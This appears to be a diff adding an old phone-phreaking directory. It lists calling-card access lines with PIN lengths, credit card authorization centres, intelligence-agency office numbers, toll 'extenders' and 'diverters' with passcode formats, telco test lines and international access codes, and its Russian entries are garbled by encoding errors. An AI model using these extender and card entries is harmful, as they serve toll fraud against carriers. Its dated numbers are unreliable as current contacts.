+1-800-396-2454 Tech-Card Customer Service.
+1-800-423-4343 AT&T Calling Cards (16 digit code) (automated)
+1-800-429-8036 OLA Ontario Pre-paid calling cards Customer Service.
+1-800-437-6404 Champs Sports Calling Card (9 digit code)
+1-800-437-6415 Coca-Cola prepaid phone card dialup.
+1-800-437-9291 Star Telecom Network "Please enter your card number."
+1-800-444-3556 (1-800-HI-HELLO) Hello Direct. (pre-paid phone cards, etc.)
+1-800-463-0004 "Please enter your card number and PIN."
+1-800-475-9105 Pre-paid calling cards Customer Service.
+1-800-477-9692 ATN Customer Service and Calling Cards.
+1-800-484-2266 MCI WorldCom. (4 Digit Security Code)
+1-800-484-6245 MCI. (4 Digit Security Code)
+1-800-519-1111 Pronto. "Please enter your PIN number now."
+1-800-522-2020 Pacific Bell calling card calls.
+1-800-525-5288 ATN Communications.
+1-800-536-3273 Frontier Customer Service.
+1-800-546-9639 Bell Atlantic collect/calling card calls.
+1-800-555-1234 NOS automated collect, credit and calling card calls.
+1-800-555-2255 NOS. Collect, credit card calls, Operator assisted, etc.
+1-800-555-5321 SNET Calling Card Calls.
+1-800-555-COKE Coca-Cola Calling Cards.
+1-800-560-6245 "Please enter your four digit Frontier Spectrum PIN."
+1-800-572-6361 Pepsi Phone Card.
+1-800-576-2255 Frontier Communications Customer Service.
+1-800-633-2255 NOS automated collect, credit and calling card calls.
+1-800-662-6214 AT&T Calling Cards.
+1-800-666-2657 "Please enter your calling card number."
+1-800-674-0700 MCI WorldCom calling cards.
+1-800-674-6245 Musical Notes and then "Please enter your card number now."
+1-800-674-7325 MCI Calling Card.
+1-800-674-9997 MCI Calling Card.
+1-800-690-6245 "Please enter your four digit Frontier Spectrum PIN."
+1-800-725-5288 ATN Communications.
+1-800-741-2255 ATN Communications. (collect, credit, calling card, Op assisted.)
+1-800-741-7200 MCI WorldCom calling cards.
+1-800-783-1414 Frontier Access Card.
+1-800-783-1444 Frontier Access collect/calling card calls.
+1-800-783-2020 Frontier Communications Customer Service.
+1-800-811-3728 Globo Prepaid Phone Cards (10 digit codes) (automated)
+1-800-814-2808 Sprint Prepaid calling card service.
+1-800-827-8750 "Please enter your calling card number."
+1-800-836-2255 "Press 1 for English, 2 for Korean. Enter your card number."
+1-800-860-4444 Qwest Communications. (calling card calls)
+1-800-860-6000 Qwest Communications calling cards.
+1-800-864-7000 Premier World Link Access Number.
+1-800-879-3782 NOS (automated collect, credit, calling card calls)
+1-800-909-3191 Tech-Card (William Shatner)
+1-800-909-3206 MCI WorldCom Pre-paid Card System.
+1-800-909-3207 MCI WorldCom Pre-paid Card System.
+1-800-909-3212 MCI WorldCom Pre-paid Card System.
+1-800-909-3214 GTN-Phone Card System.
+1-800-909-3215 Pre-paid Calling Card System.
+1-800-909-3217 1-800 Pre-paid.
+1-800-909-3218 1-800 Pre-paid.
+1-800-909-3219 1-800 Pre-paid.
+1-800-909-3225 MCI WorldCom Pre-paid Card System.
+1-800-909-3231 MCI WorldCom Pre-paid Card System.
+1-800-909-3236 MCI WorldCom Pre-paid Card System.
+1-800-909-3240 MCI WorldCom Pre-paid Card System.
+1-800-909-3242 MCI WorldCom Pre-paid Card System.
+1-800-909-3245 MCI-Exchange Card Service.
+1-800-909-3477 Pre-paid Long-Distance Service.
+1-800-909-3533 Pre-paid Long-Distance Phonecard (PEI/PC)
+1-800-909-3640 MCI WorldCom Pre-paid Card System.
+1-800-909-3641 MCI WorldCom Pre-paid Card System.
+1-800-909-3642 MCI WorldCom Pre-paid Card System.
+1-800-909-3643 "All State" (MCI WorldCom Pre-paid Card System)
+1-800-909-3646 MCI WorldCom Pre-paid Card System.
+1-800-909-3653 MCI WorldCom Pre-paid Card System.
+1-800-909-3654 MCI WorldCom Pre-paid Card System.
+1-800-909-3657 MCI WorldCom Pre-paid Card System.
+1-800-909-3661 Pre-paid Calling Card System.
+1-800-909-4495 Calling Card System (Insimity Point Security Code)
+1-800-934-8642 VoiceNet Calling Cards (New York, NY)
+1-800-950-1077 GCI Long Distance. (Alaska)
+1-800-997-6245 Decoma calling card service. "Please enter your card number."
+1-800-999-9000 TONE. "Please enter your MCI WorldCom card number now."
+1-800-BCE-HELP Ideal Dial's Telecard Platform.
+1-800-DIAL-166 ATN Communications.
+1-800-EASY-TEL EasyTel Calling Card Calls.
+1-800-ONE-DIME Sprint's 1-800 One Dime.
+1-800-PRE-PAID 1-800 Pre-paid.
+1-800-YOU-SAVE Collect, Calling Card, Credit Card Calls.
+1-877-258-9088 Globo Prepaid Phone Cards Customer Service.
+1-877-WILLIAMS Williams Long Distance Calling Card Calls.
+1-888-813-1426 Kokanee Talkin' Tag Phone Card (10 digit PIN)
+1-888-818-4266 GST calling cards.
+
+
+-------------------------------------------------------------------------------
+ Teleconferencing:
+-------------------------------------------------------------------------------
+
+1-800-225-5100 AT&T Corporate Teleconferencing.
+1-800-225-5500 Teleconference Assistance.
+1-800-225-5700 AT&T Teleconferencing.
+1-800-232-1234 AT&T Teleconferencing.
+1-800-235-0900 AT&T Teleconferencing. (Spanish and English)
+1-800-255-5100 AT&T Teleconferencing.
+1-800-255-5500 AT&T Teleconferencing.
+1-800-369-1117 MCI Teleconferencing.
+1-800-448-2557 AT&T Teleconferencing.
+1-800-465-0025 Global Crossing SpeedLink (Conf Calls, Voicemail, Dir Assistance)
+1-800-475-4455 Conference Calling Center.
+1-800-475-6894 Quarrel Conferencing.
+1-800-525-8244 Frontier Confertech.
+1-800-544-6363 AT&T Alliance Teleconference Service.
+1-800-567-1250 Global Crossing SpeedLink.
+1-800-567-3678 Bell (Dis)Advantage Teleconference (Canada)
+1-800-569-0788 A Better Conference.
+1-800-625-5288 Teleconference Playback Center.
+1-800-667-3601 Global Crossing SpeedLink.
+1-800-668-4210 Global Crossing Frontier ConferTech.
+1-800-768-2550 Global Crossing SpeedLink.
+1-800-768-7775 Global Crossing SpeedLink.
+1-800-827-1700 Conference Call USA.
+1-800-886-2355 Frontier Teleconferencing.
+1-800-900-6338 Advantage Conferencing Services.
+1-800-925-8000 Conference America.
+1-800-933-3258 Global Crossing.
+1-800-954-2387 Frontier (Global Crossing)
+1-800-962-0044 Conf Call USA.
+1-800-CONF-CALL Smith Klein Beecham Conference Center (Sprint)
+1-800-CONFERENCE Ameritech Conference Calling.
+1-888-345-5200 Video Conferencing Center.
+
+
+-------------------------------------------------------------------------------
+ Credit Card Verification:
+-------------------------------------------------------------------------------
+
+1-800-228-1111 American Express.
+1-800-228-1122 Credit Card Verification.
+1-800-268-2530 Credit Card Verification.
+1-800-268-8281 Royal Bank Authorization Centre for Visa Cards.
+1-800-333-1337 Authorization Centre.
+1-800-336-0220 Credit Card Service Bureau.
+1-800-361-8370 National Bank Authorization Centre for Master Card.
+1-800-528-2121 American Express Card.
+1-800-555-1880 Fleet's Card Activation and PIN line.
+1-800-556-5678 Bank number to report stolen bank cards.
+1-800-561-5224 Credit Authorization Centre
+1-800-796-2355 Card Services (Visa and Mastercard)
+1-800-810-2355 Customer Service Center.
+1-800-866-5000 National Credit Center.
+1-800-925-8888 Automated Authorization Centre. (Credit Cards)
+
+
+-------------------------------------------------------------------------------
+ Canadian Security Intelligence Service (CSIS):
+-------------------------------------------------------------------------------
+
+(204) 983-5405 CSIS in Winnipeg.
+(306) 780-5512 CSIS in Saskatchewan.
+(403) 292-5255 CSIS in Calgary.
+(403) 421-5800 CSIS in Edmonton.
+(416) 865-1480 CSIS in Toronto.
+(418) 529-8926 CSIS in Quebec City.
+(506) 452-3786 CSIS in Fredericton.
+(514) 393-5600 CSIS in Montreal.
+(604) 528-7400 CSIS in British Columbia.
+(613) 993-9620 CSIS HQ in Ottawa.
+(613) 998-1679 CSIS.
+(709) 772-5449 CSIS in Newfoundland.
+(902) 420-5900 CSIS in Halifax.
+1-800-267-7685 CSIS (Ontario only)
+1-800-564-0866 CSIS (Toronto region)
+1-800-661-5780 CSIS (Alberta/Saskatchewan/Manitoba/Thunder Bay only)
+
+
+-------------------------------------------------------------------------------
+ Non-Toll Free Extenders, etc.
+-------------------------------------------------------------------------------
+
+(416) 504-3733 Diverter. (Wait Until The Voice Stops)
+(416) 542-6050 Diverter.
+(416) 542-6070 Diverter.
+(416) 542-6080 Diverter.
+(416) 542-6090 Diverter.
+(416) 866-8866 PBX.
+(519) 651-2000 Extender.
+(519) 651-2250 The Communications Group.
+(519) 651-2252 Extender (4 digit Client numbers and passcodes)
+(519) 654-9000 Ability Telecom extender/diverter. (4 digit passcodes)
+(519) 742-9621 Bell Canada VMS.
+(519) 846-2255 Extender. (5 digit passcode)
+(519) 846-8786 PBX (dial "9" then the number)
+(519) 895-2255 Extender. (5 digit passcode)
+(905) 337-3033 Diverter. (416/905)
+
+
+-------------------------------------------------------------------------------
+ Silent Lines, Test Lines and Strange Messages:
+-------------------------------------------------------------------------------
+
+(403) 425-0052 Gives you Info about a Bell CO in Alberta.
+(416) 690-4804 - Remote 44A (aka Bell Hut) (it's a switching center)
+(416) XXX-1185 Bell Test Lines.
+(423) 539-0001 Memorycall Access line.
+(423) 588-9909 Memorycall Access line.
+(423) 602-7811 Remote Call FWD Access.
+(514) 391-1715 Wide Area Telephone Service (WATS)
+(514) 391-4005 MDAR Trouble line.
+(514) 481-1111 1khz tone.
+(514) 481-1191 1Khz&Battery.
+(514) 673-2111 Centrex (ASA)
+(514) 786-6786 Control.
+(514) 852-8686 Cables.
+(514) 870-0200 CDE code MTL.
+(514) 870-0669 CDE code MTL.
+(514) 870-0704 CDE code MTL.
+(514) 870-1252 DMS.
+(604) 958-2011 2100 Hz tone.
+(604) 958-4111 Line out for 1.5 mins.
+(613) 544-1111 Bell Test Line.
+(847) 823-9995 Gives several readings on the Bell CO.
+(905) 521-1185 Bell Test Line.
+(905) 851-0012 Bell Test Line.
+1-800-200-0301 Test line (loud beep)
+1-800-200-0302 Test line (loud beep)
+1-800-210-0000 Tones.
+1-800-221-0200 Siren Tones.
+1-800-225-5122 "We are sorry but this program has not started. Thank you..."
+1-800-225-5300 "We are sorry but this program has ended and no further calls..."
+1-800-225-5308 High pitched TONE.
+1-800-225-5528 TONE. "Please enter the number you are calling."
+1-800-225-5563 Ring+Silent line.
+1-800-225-5871 High Tone then Dialtone.
+1-800-265-1111 High Tone.
+1-800-266-9999 Fast Busy.
+1-800-267-6000 Fast Busy.
+1-800-270-0123 Fast Busy.
+1-800-293-4421 Fast Busy.
+1-800-321-0288 Always Busy.
+1-800-323-8126 Dialtone.
+1-800-325-4112 Short Tones + High Tone.
+1-800-333-8852 Siren Tones.
+1-800-346-0109 Siren Tones.
+1-800-356-2255 Dialtone.
+1-800-361-8313 Bell Canada. "There is no service at this number."
+1-800-369-2255 Silent line.
+1-800-424-5664 "Please check your number and dial again."
+1-800-430-7938 DMS.
+1-800-437-2206 Alphanet Telecom recording.
+1-800-437-3025 No Ring+Silent Line.
+1-800-437-8351 High Tones.
+1-800-444-1677 Siren Tones.
+1-800-454-9927 Alpha net telephone recording
+1-800-454-9929 Alpha net telephone recording
+1-800-454-9961 Fast Rings.
+1-800-455-2013 Ring + Click then Trunk Busy signal.
+1-800-455-7947 Ring then silent line.
+1-800-456-0000 Dialtone. (PBX)
+1-800-465-7735 Strange Tones.
+1-800-475-2037 Siren Tones.
+1-800-483-2276 No Ring + Trunk Busy signal.
+1-800-483-2496 Strange Tones.
+1-800-483-2655 "We're sorry, we're unable to place a call from this number."
+1-800-483-2730 High Tone.
+1-800-483-2933 Siren Tones.
+1-800-483-9774 Ring + Trunk Busy Signal.
+1-800-485-2255 Ring + Trunk Busy Signal.
+1-800-522-2255 Dialtone.
+1-800-554-8374 Always Busy.
+1-800-555-1120 "We are sorry but this program has ended and..."
+1-800-555-1220 Same message as 1-800-555-1120.
+1-800-555-1226 Siren Tones.
+1-800-555-2123 Tones.
+1-800-555-2147 Ring + Trunk Busy signal.
+1-800-555-2342 Dialtone. (PBX)
+1-800-555-3585 Dialtone. (PBX)
+1-800-555-3696 Silent line.
+1-800-555-6690 Tone.
+1-800-555-9946 Siren Tones.
+1-800-565-6737 High Tone.
+1-800-624-2255 "We're sorry. We're unable to place a call from this number."
+1-800-638-0156 Tones.
+1-800-647-2255 "I'm sorry. We are no longer taking calls for this project."
+1-800-745-6678 Dialtone.
+1-800-747-6678 High Tone.
+1-800-749-2355 High Tone.
+1-800-749-9975 Tone.
+1-800-786-3228 Fast Busy.
+1-800-808-8319 Weird ring "please enter your telephone number" beep.
+1-800-808-8332 No Ring + Clicking.
+1-800-808-8341 Siren Tones.
+1-800-808-8347 Siren Tones.
+1-800-808-8349 Siren Tones.
+1-800-808-8351 Siren Tones.
+1-800-808-8352 Siren Tones.
+1-800-808-8354 Siren Tones.
+1-800-808-8357 Siren Tones.
+1-800-808-8369 Siren Tones.
+1-800-827-0000 "You have entered an invalid telephone number..."
+1-800-827-0011 "We're sorry, all circuits are now busy..."
+1-800-827-0036 No Ring+Click+Trunk Busy.
+1-800-827-0058 High Tone.
+1-800-827-0875 "This ATT Technologies number is not active."
+1-800-827-1227 Ring+Trunk Busy.
+1-800-827-3005 Alphanet Telecom recording.
+1-800-827-3210 NIS (Reads back 827-3210)
+1-800-827-3670 High Tones.
+1-800-827-3750 "You have dialed an invalid location."
+1-800-827-7878 "You have dialed an invalid location."
+1-800-827-9010 "We're sorry, the number you have called is an invalid number."
+1-800-827-9876 NIS (Reads back 827-9876)
+1-800-827-9890 "You have reached a number that is NIS at this time. 827-9890."
+1-800-827-9892 "You have reached a number that is NIS at this time. 827-9892."
+1-800-827-9904 "You have reached a number that is NIS at this time. 827-9904."
+1-800-828-8649 Always Busy.
+1-800-848-9000 Always Busy.
+1-800-861-9905 Loud Ring+Tones then "Thank you. Please hang up now."
+1-800-862-6338 Blast of Noise. "Please enter your calling card PIN number."
+1-800-866-9317 High Tone.
+1-800-874-4000 BUSY. AT&T USA Direct Service.
+1-800-877-8000 Low Tone.
+1-800-878-3532 High Tone.
+1-800-889-4668 Ring+Silent Line.
+1-800-898-2355 Silent line.
+1-800-900-1302 Silent line.
+1-800-900-2274 Silent line.
+1-800-909-3467 Low Tone (PBX)
+1-800-909-4358 High Tone.
+1-800-909-4364 High Tone.
+1-800-925-0288 "This is not a valid number."
+1-800-925-3300 Low Tone.
+1-800-925-6620 Low Tone.
+1-800-925-8300 Rings+Silent Line.
+1-800-959-9997 "Test 1, 2, 3, 4." message.
+1-800-MCI-WORLD Always Busy.
+1-800-MTT-LOCAL Fast Busy.
+1-877-268-4272 Tones.
+1-877-382-2355 Tones.
+1-877-655-2355 Ring+Trunk Busy.
+1-877-900-EASY "You have reached an inactive number on the EasyTel network."
+1-877-922-BELL High Tone.
+1-888-374-2355 "You have entered an invalid telephone number."
+1-888-468-2355 "Due to technical difficulties we cannot record your message
+1-888-487-5346 L.E.G.O.S.
+1-888-786-6786 Control.
+1-888-871-2380 Waterloo Facilities.
+1-888-BELLCORE Always Busy.
+
+
+-------------------------------------------------------------------------------
+ FAX-Backs:
+-------------------------------------------------------------------------------
+
+1-800-222-9323 AMV FAX-Back.1-800-268-9100 Bell Canada 1-900, 976, Info Line (2,1,2,AC,NUM,#,#)
+1-800-282-2000 Phillips (1,2,6,AC,NUM,#,1,#)
+1-800-323-6586 Tandy Retail Services FAX-Back. (order Tandy docs!)
+1-800-329-7310 Bell Atlantic Investor Relations Fax-On-Demand.
+1-800-345-1518 Compaq Computer PaqFax.
+1-800-365-0696 Genecom Corporation FAX-back service. (Digital Printer Support)
+1-800-368-9673 Hewlett-Packard Information Storage Quick Fax (1,2,AC,NUM,1,2,)
+1-800-380-0030 Diamond (2,2AC,NUM,#,1,AC,NUM,#,1)
+1-800-443-1254 HP Portable Products (5,5,5,#,3,2,2,2,1#AC,NUM,#,1,#,)
+1-800-445-7736 Exabyte Fax-on-Demand (2,1)
+1-800-446-6212 Analog Fax (2,1,0,AC,NUM,1,AC,NUM,#,1)
+1-800-451-2100 Lucent Technologies Cincinnati. (get product info by FAX)
+1-800-483-2495 Central FAX on demand system. (FAX-Back)
+1-800-521-2846 Brother FAX-Back (they make fax machines and typewriters)
+1-800-522-6752 Amp Fax (1,8,90,#,#,AC,NUM,#,#,AC,NUM,#,#,#)
+1-800-525-3019 Intel (1,1,3,2,AC,NUM,1,#)
+1-800-663-0378 Toshiba Canada TossFax. (press 1)
+1-800-684-2255 Nortel Networks Fax on Demand System. (1,1,1,AC,NUM,#)
+1-800-722-4786 Sun Microsystems Service Canada (1,2,4,1,AC,NUM,#,1)
+1-800-727-3351 Micro$oft Sales FAX Service Line. (press *,1,1,AC,NUM,#,5,0)
+1-800-762-6163 3Com Fax-on-Demand.
+1-800-822-4269 Borland Tech-Fax Document Retrieval System (3,2,1,AC,NUM,#,1,3,1)
+1-800-827-3000 Elite Group (press 1 for Fax-back)
+1-800-832-4778 Western Digital Fax Access (2,1,1,1,AC,NUM,#,1,AC,NUM,#,1)
+1-800-832-6328 Ameritech Team Data Support Center (press 6,2,1,2,AC,NUM,1)
+ (pressing 6 transfers you to the Ameritech Team Data Information
+ Server which you can use to obtain telco info via FAX-Back)
+1-800-872-4786 Sun Microsystems Service United States (2,4,1,AC,NUM,#,1)
+1-800-879-8632 US West News line. (U.S. only)
+1-800-909-0261 Apple Fax.
+1-800-909-0263 3M Economic Services Fax-On-Demand System.
+1-800-909-0264 Kinkos Fax-On-Demand Service.
+1-800-909-0269 Co-merica Bank, California's Fax-On-Demand Service.
+1-800-943-8329 Integrated Device Tech (1000,1,3000,1,#,AC,NUM#,1,#)
+1-800-FAX-SUNW Sun Fax-Back.
+1-800-IBM-4FAX IBM FAX Information Service. (3,1,0,1,1,1,AC,NUM,#,1,1)
+1-800-SKY-USER SkyTel Customer Service. (press 3 for FAX on demand for docs)
+1-888-322-8444 Hartford Shareholders News & Info FAX-Back (3,1,AC,NUM)
+
+
+-------------------------------------------------------------------------------
+ Yellow Pages:
+-------------------------------------------------------------------------------
+
+(519) 579-2252 Baka Communications. (Bell Mobility Dealer)
+(519) 654-2211 Bestel Message Centre Ltd. (Paging Services)
+(519) 679-8333 Bell. (London Office)
+(519) 679-8460 Bell. (London Office)
+(519) 725-2570 Bell Mobility Baca.
+(519) 744-7781 Bell Mobility Centre (Highland Hills Mall)
+(519) 745-3900 Bestel Message Centre Ltd. (Full Messaging, Voice Mail, Paging)
+(519) 893-8777 Bell World.
+(519) 894-2211 Bell Mobility Cellular Plus Centre.
+1-800-311-WORK Bell Canada.
+1-800-268-1711 Baka Communications Inc. (Toronto and Mississauga)
+1-800-387-7243 (1-800-387-PAGE) Bell Mobility Paging.
+1-800-917-1917 Bell Canada's Advantage Call Centre Solutions.
+
+(519) 888-9660 Cantel AT&T Store (Connestoga Mall)
+(519) 893-1811 Cantel AT&T Automated Self-Service System.
+1-800-268-1087 Cantel AT&T Paging Customer Service.
+1-888-353-4726 (1-88-TELEGRAM) AT&T Canada. (Send a Telegram Worldwide)
+
+(519) 741-5990 London Telecom Network.
+(519) 743-3602 Extend Communications Inc. (Pagers, Voice Mail Boxes, etc.)
+(519) 748-3200 Rogers Cablesystems General Enquiries.
+(519) 749-2434 Clearnet Business Communications Centre. (Paging, PCS, etc.)
+(519) 893-2310 Rogers Technical Assistance.
+(519) 893-4400 Rogers Community Programming.
+(519) 896-7600 Ericsson Communications Canada Inc.
+(905) 561-5443 Digital Mobile Systems Inc.
+
+1-800-216-0888 PageNet.
+1-800-263-4824 Digital Mobile. (Authorized Motorola Dealer)
+1-800-265-8725 Shaw Paging.
+1-800-270-8220 SOS 2000. (Government Canada line that lists businesses which
+ offer Year 2000 expertise and services)
+1-800-453-6835 (1-800-GLENTEL) Glentel Inc. Mobile Satellites.
+1-800-838-0298 MRC Systems Inc.
+1-888-253-2763 (1-888-CLEARNET) Clearnet Customer Service.
+1-888-474-3486 Iridium Canada. (Voice, Data, FAX & Paging Services)
+
+
+Internet:
+
+(519) 570-2121 GO INTERNET CAFE.
+(519) 651-3400 Sentex Communications.
+(519) 885-0211 BondNet Internet Services Inc. (Cisco Systems Reseller, Lucent
+ Technologies Agent)
+1-800-263-8433 Burlington Network Services.
+1-800-668-2857 Wightman Telecommunications. (ISP)
+1-800-773-4638 Globalserve Internet.
+1-888-298-3447 Netcom Canada.
+1-888-4-SENTEX Sentex Communications.
+1-888-6-NEWNET New Net Technologies Group.
+
+
+Cable:
+
+1-800-267-1919 CaTech Systems LTD.
+1-800-400-4954 Cablecom International.
+1-877-342-3726 Fiber Core Communications.
+1-877-652-0088 First Call Locate Service.
+
+
+Telephone Companies:
+
+(519) 651-2000 A-TEL Communications. (Press "9" to dial out)
+(519) 651-2250 A-TEL Communications.
+(519) 744-4455 A Telephone Man. (listed under Telephone Companies)
+(519) 744-9640 A + Tel Inc.
+(519) 745-0856 Telnet Communications.
+(519) 746-3357 Sprint Canada Inc.
+
+
+Telephone Directories:
+
+(519) 571-7700 Bell ActiMedia.
+(519) 658-2001 Kitchener-Waterloo Talking Yellow Pages. (Gives local time &
+ temperature)
+
+
+Telephone Equipment:
+
+(519) 570-0885 WilTel.
+(519) 570-1320 Greb Tele-Data Inc. (Authorized Sprint Canada Sales & Service)
+(519) 570-3609 Brant Telephone. (Authorized AT&T Canada and Lucent Technologies
+ Dealer. Long Distance and Conferencing Services)
+(519) 650-2000 City-Com Communications (Golden Triangle) Inc.
+(519) 654-2000 Regional Telecom.
+(519) 654-2003 Intelicom Systems.
+(519) 658-4588 Instatel Communications
+(519) 741-9262 Barrett B J Communications.
+(519) 744-6500 Tele-Connect.
+(519) 747-3333 PhoneMaster. (Authorized Sprint Dealer)
+(519) 748-1177 J&D Systems Inc. (Nortel Networks Authorized Distributor)
+(519) 748-2228 Telefficiency. (Authorized Nortel, Meridian, etc. Distributor)
+(519) 748-5832 Delphi Solutions. (Authorized Sprint Canada Agent)
+(519) 883-4109 Exceltech. (Telephone equipment services)
+1-800-932-9443 J P Cable Installations Ltd. (Authorized Bell Agent)
+1-888-276-1604 Telecom-Tech.
+1-888-7-DELPHI Delphi Solutions Customer Service.
+
+
+Long Distance:
+
+(519) 220-1120 Ability Telecom. (Flat Rate Long Distance)
+(519) 576-7077 Distributel Communications Ltd. (Flat Rate Long Distance)
+(519) 651-2250 Fone Pass (formerly Ad-Tel Communications)
+(519) 654-9614 Ontel Long Distance (Flat Rate, Worldwide Long Distance)
+1-800-670-2266 AT&T Canada Long Distance.
+1-800-700-0017 Glentel Inc. (Long Distance)
+1-888-266-1313 WinTel Communications. (Long Distance)
+1-888-676-7777 Bell Canada (Dis)Advantage Optimum savings program.
+1-888-824-1032 Telelink Canada. (Flat Rate Long Distance)
+
+
+Toronto and Mississauga:
+
+(416) 240-4955 Rogers AT&T Wireless.
+(416) 242-4242 The Canadian Telephone Company.
+(416) 255-8000 Watts Communications Ltd.
+(416) 292-1010 Toronto Talking Yellow Pages. (local time and temperature)
+(416) 345-2770 AT&T Canada Telecommunications Solutions Sales Dept.
+(416) 350-1000 Bell Nexxia.
+(416) 360-2307 Deutsche Telekom Canada.
+(416) 366-FIDO Fido. (Wireless Communications)
+(416) 368-0002 Sun Microsystems Sales Office.
+(416) 393-3500 TTC Time. (reports EST every 10 seconds)
+(416) 412-5000 Bell ActiMedia.
+(416) 412-5100 Yellow Pages Info Direct.
+(416) 412-5200 Yellow Pages Assistance.
+(416) 412-5400 Bell ActiMedia Directory Ordering and Sales.
+(416) 412-5600 Bell ActiMedia Directory Delivery Department.
+(416) 412-5999 Bell ActiMedia Customer Service.
+(416) 425-4500 1st Canadian Telecom. (Toronto Headquarters)
+(416) 533-7670 The Local Telephone Company Limited.
+(416) 581-0000 Lotus Development Canada.
+(416) 590-0202 Bell World.
+(416) 601-1200 Metro Access.
+(416) 620-2420 Bell ActiMedia.
+(416) 674-2233 Bell Mobility.
+(416) 733-4032 Telesat Canada. (Satellite Communications)
+(416) 756-4900 Nortel Control Center.
+(416) 767-7778 The Local Telephone Company Limited.
+(416) 777-2600 London Telecom Network.
+(416) 777-2881 WinTel Communications.
+(416) 860-1828 Hong Kong Telecom Canada.
+(416) 862-0705 MCI WorldCom.
+(416) 862-1717 Bell Canada Repair.
+(416) 924-9511 Distributel Communications Limited.
+(905) 238-2349 Panasonic Canada, Inc. Telecommunications.
+(905) 264-5560 SCO Canada.
+(905) 470-3456 Toshiba Canada. (Markham, ON)
+(905) 470-3478 Toshiba Canada.
+(905) 477-3047 Telesonic Communications Prepaid Calling Cards.
+(905) 477-4344 Borland Canada.
+(905) 477-6745 Sun Microsystems of Canada. (Head Office in Markham, ON)
+(905) 542-3977 Entourage Technology Solutions. (Authorized Bell Distributor)
+(905) 602-5454 Fujitsu Canada.
+(905) 629-5000 Centel Communications. (Authorized Nortel Dealer)
+(905) 669-8107 Maxxell Canada.
+(905) 676-6700 Computer Associates. (Mississauga Office)
+(905) 712-4242 Williams Telecommunications Corp.
+(905) 795-1111 Canon Canada.
+(905) 890-2355 Motorola Cellular.
+(905) 890-8100 Oracle Corporation Canada.
+(905) 946-0928 Autodesk Canada.
+1-800-263-9217 Bell Business Repair.
+1-800-268-9322 Bell Voice Message Center.
+1-800-287-9334 Canadian Operator Services (Canadian Payphone Corp.)
+1-800-465-6887 Lotus Development Corp. Canada.
+1-800-519-1900 Corporate Image Marketing. (Toll free vanity numbers)
+1-800-827-4890 Globo Communications. (Spanish)
+1-877-249-2782 CRTC Client Services.
+1-877-666-7297 Canada Payphone Collect Call Services.
+
+
+-------------------------------------------------------------------------------
+ International Numbers:
+-------------------------------------------------------------------------------
+
+Argentina:
+
+115 Ringback.
+5702 ANAC.
+
+Argentina Country Direct:
+
+0800-5-4900 Alemania
+0800-2-3200 B‚lgica
+0800-5-5500 Brasil
+0800-2-1004 Canada
+0800-5-5601 Chile (ENTEL)
+0800-5-5603 Chile (VTR)
+0800-2-5604 Chile (SAT)
+0800-5-5700 Colombia
+0800-2-4500 Dinamarca
+0800-2-1001 EE.UU. (AT&T)
+0800-5-1002 EE.UU. (MCI)
+0800-5-1003 EE.UU. (SPRINT)
+0800-2-3400 Espa¤a
+0800-5-3300 Francia
+0800-2-3030 Grecia
+0800-2-3100 Holanda
+0800-2-1809 Is. V¡rgenes
+0800-5-3900 Italia
+0800-5-3901 Italia (Tarj. Prepaga)
+0800-5-3902 Italia (Tarj. Cr‚dito)
+0800-2-8100 Jap¢n (KDD)
+0800-2-0505 Nicaragua
+0800-2-4700 Noruega
+0800-5-5950 Paraguay
+0800-2-5100 Per£
+0800-5-3510 Portugal
+0800-5-4401 Reino Unido (BT)
+0800-2-4400 Reino Unido (MERCURY)
+0800-5-2809 Rep. Dominicana
+0800-5-6500 Singapur
+0800-2-4100 Suiza
+0800-5-5980 Uruguay
+0800-2-5800 Venezuela
+
+
+Russia:
+
+AT&T Numbers:
+
++7 095 9740074 AT&T Tone System (Moscow HQ)
++7 095 7555042 AT&T operator. (English)
++7 095 1555042 AT&T Automated Calling System.
++7 095 7555555 AT&T operator. (Russian)
+
+Free 800 Services. Moscow Numbers:
+
+7473320 MCI Operators in California. (Russian)
+7473322 Connects to Customer Service in Russian. (English)
+7473321 AT&T Operators (New York)
+7473324 Sprint Global, Arizona, USA
+7473325 Orua, Canada
+7473327 National Calling Center, UK
+7473329 Japan service
+7473356 Sprint Calling Cards.
+7473359 France service
+7473361 Italian service
+7473363 Chili service
+
+National Russian Numbers:
+
+8-10 800 4977211 ‘˜€ (AT&T)
+8-10 800 4977222 ‘˜€ (MCI)
+8-10 800 4977255 ‘˜€ (Sprint)
+8-10 800 4977220 ‘˜€ (MCI àãá᪮ï§ëç ï á«ã¦¡ )
+8-10 800 4977233 Š ¤ (Teleglobe)
+8-10 800 4977266 ‚¥«¨ª®¡à¨â ¨ï (BT)
+8-10 800 4977277 ‚¥«¨ª®¡à¨â ¨ï (Mercuri)
+8-10 800 4977288 ‚¥£à¨ï
+8-10 800 4977181 Ÿ¯®¨ï (KDD)
+8-10 800 4974358 ”¨«ï¤¨ï( Telecom Finland)
+8-10 800 4977032 ¥«ì£¨ï (Belgacom calling cards)
+8-10 800 4977212 ¥«ì£¨ï (Belgacom operator)
+8-10 800 4977039 ˆâ «¨ï (Iritel)
+8-10 800 4977353 ˆà« ¤¨ï (Telecom Ireland)
+8-10 800 4977156 ѬǬ
+8-10 800 4977165 ‘¨£ ¯ãà
+8-10 800 4977141 ˜¢¥©æ à¨ï.
+
+
+South Africa:
+
+101999 Toll Free ANAC.
+
+
+United Kingdom:
+
+100 Operator
+175 National test number. (ANAC)
+999 Emergency
+1234 Talking Clock
+192 Directory Enquiries (ie. give name/address, get phone number)
+
++44 (0)171 930 4832 Buckingham Palace, London
+
+0800 100100 Operator/BT Sales
+0800 321999 BT Security
+0800 696969 HeatBusters, Gas Appliances
+0800 89xxxx International Freephone (toll-free, but terminate overseas)
+
+UK Country Direct:
+
+0800 890011 USA Direct AT&T
+0800 890016 Canada Direct
+0800 890027 South Africa Direct
+0800 890031 Netherlands Direct
+0800 890032 Belgium Direct
+0800 890033 France Direct
+0800 890034 Spain Direct
+0800 890036 Hungary Direct
+0800 890038 Yugoslavia Direct
+0800 890039 Italy Direct
+0800 890042 Czechoslovakia Direct
+0800 890043 Austria Direct
+0800 890045 Denmark Direct
+0800 890046 Sweden Direct
+0800 890047 Norway Direct
+0800 890049 Germany Direct
+0800 890055 Brazil Direct
+0800 890056 Chile Direct
+0800 890061 Australia Direct
+0800 890064 New Zealand Direct
+0800 890065 Singapore Direct
+0800 890066 Thailand Direct
+0800 890081 Japan Direct
+0800 890082 Korea Direct
+0800 890123 Bermuda Direct
+0800 890212 Morocco Direct
+0800 890222 USA Direct MCI
+0800 890351 Portugal Direct
+0800 890353 Eire Direct
+0800 890357 Cyprus Direct
+0800 890358 Finland Direct
